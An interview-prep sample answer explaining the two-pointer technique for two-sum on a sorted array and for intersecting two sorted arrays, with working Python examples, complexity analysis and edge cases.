Given a sorted array and a target value, find two numbers that add up to the target using O(1) extra space. Explain why sorted order lets you avoid the hashmap you would otherwise need, and how you would adapt the same technique to intersect two sorted arrays.
Sample Answer
Direct answer
On a sorted array, start one pointer at the beginning and one at the end, and move them toward each other based on how the current pair's sum compares to the target: this finds the pair in one linear pass using O(1) extra space, no hash map required. Sorted order is exactly what makes the hash map unnecessary, since it tells you in which direction to move without needing to remember every value you have already seen. The same converging-pointer idea, applied to two arrays instead of one target sum, gives you their intersection: advance whichever array currently has the smaller value.
Structured elaboration
Two-sum on a sorted array: maintain the invariant that every valid pair still under consideration lies between left and right. If arr[left] + arr[right] == target, you are done. If the sum is too small, arr[left] cannot be part of any valid pair with anything to its left (everything to the left is even smaller, making the sum only smaller), so advance left. If the sum is too large, by the same logic on the other side, retreat right. Because the array is sorted, this monotonic narrowing never skips over a valid pair: if one exists, it is found.
Why sorted order removes the need for a hash map: an unsorted two-sum needs a hash map to remember "have I seen the complement of this value yet," since there is no way to know which direction to search without that memory. Sorted order replaces that memory with structure: the comparison arr[left] + arr[right] versus target alone tells you which pointer must move, with no need to have seen anything before.
Adapting to intersect two sorted arrays: instead of pointers converging toward each other, they move in the same direction, each independently, starting both at index 0. Compare the current elements of each array: if equal, that value is in the intersection, and advance both; if array a's current element is smaller, it cannot match anything later in b (which is only larger from here), so advance a; otherwise advance b. This is the same "sorted order tells you which pointer to move, so no hash map is needed" idea, just applied across two sequences instead of within one.
Worked example
Two-sum, sorted array:
def two_sum_sorted(arr: list[int], target: int) -> tuple[int, int]:
left, right = 0, len(arr) - 1
while left < right:
s = arr[left] + arr[right]
if s == target:
return left, right
if s < target:
left += 1
else:
right -= 1
return -1, -1
arr = [2, 7, 11, 15]
print(two_sum_sorted(arr, 18))
Running this prints:
(1, 2)
arr[1] + arr[2] = 7 + 11 = 18.
Sorted-array intersection:
def intersect_sorted(a: list[int], b: list[int]) -> list[int]:
i, j = 0, 0
result = []
while i < len(a) and j < len(b):
if a[i] == b[j]:
result.append(a[i])
i += 1
j += 1
elif a[i] < b[j]:
i += 1
else:
j += 1
return result
a = [1, 2, 2, 3, 5, 8]
b = [2, 2, 3, 6, 8, 9]
print(intersect_sorted(a, b))
Running this prints:
[2, 2, 3, 8]
Key points
- Both algorithms use the same underlying idea: sorted order lets a single comparison decide which pointer must move, replacing the memory a hash map would otherwise need to provide.
- The intersection version keeps every duplicate (two
2s appear in both inputs, so two2s appear in the output); deduplicating the result, if needed, is a separate, trivial step.
Complexity
O(n) time,O(1) extra spacefor the sorted two-sum (n is the array length), and
O(n+m) time,O(1) extra space (excluding output)for the intersection of arrays of length n and m, since each pointer advances at most once per element and never backtracks.
Edge cases
- Empty or single-element array:
two_sum_sortedcorrectly returns(-1, -1)since thewhile left < rightloop never runs. - No valid pair exists: the loop exits naturally when
leftmeetsright, returning(-1, -1). - Negative numbers: handled correctly, since the comparison
s < target/s > targetdoes not depend on sign. - One array is empty in the intersection case: the
whileloop's length check exits immediately, correctly returning an empty result.
Trade-offs & pitfalls
Reaching for a hash map here works too (build a set of one array's values in O(n) time and O(n) space, then scan the other), and is actually necessary if the input is not sorted and sorting it first is not acceptable (for example, if the original order must be preserved in the output); but given already-sorted input, that hash map is pure overhead, since the sort order already encodes everything the hash map would tell you. A common mistake is trying to adapt the sum-target converging-pointer pattern directly to intersection by starting the second pointer at the end instead of at the start: intersection is fundamentally a same-direction scan (both arrays are being consumed left to right looking for equal elements), not a converging one (which relies on one array's values increasing while the other's decrease, a relationship two independent sorted arrays don't have with each other).
Want to create your own tailored preparation guide using our deep research?
Get Started for FreeInterview-Ready Courses
Visual-first, interactive, structured learning paths
Browse Frontend Developer jobs
AI-enriched listings across hundreds of company career pages
Explore Jobs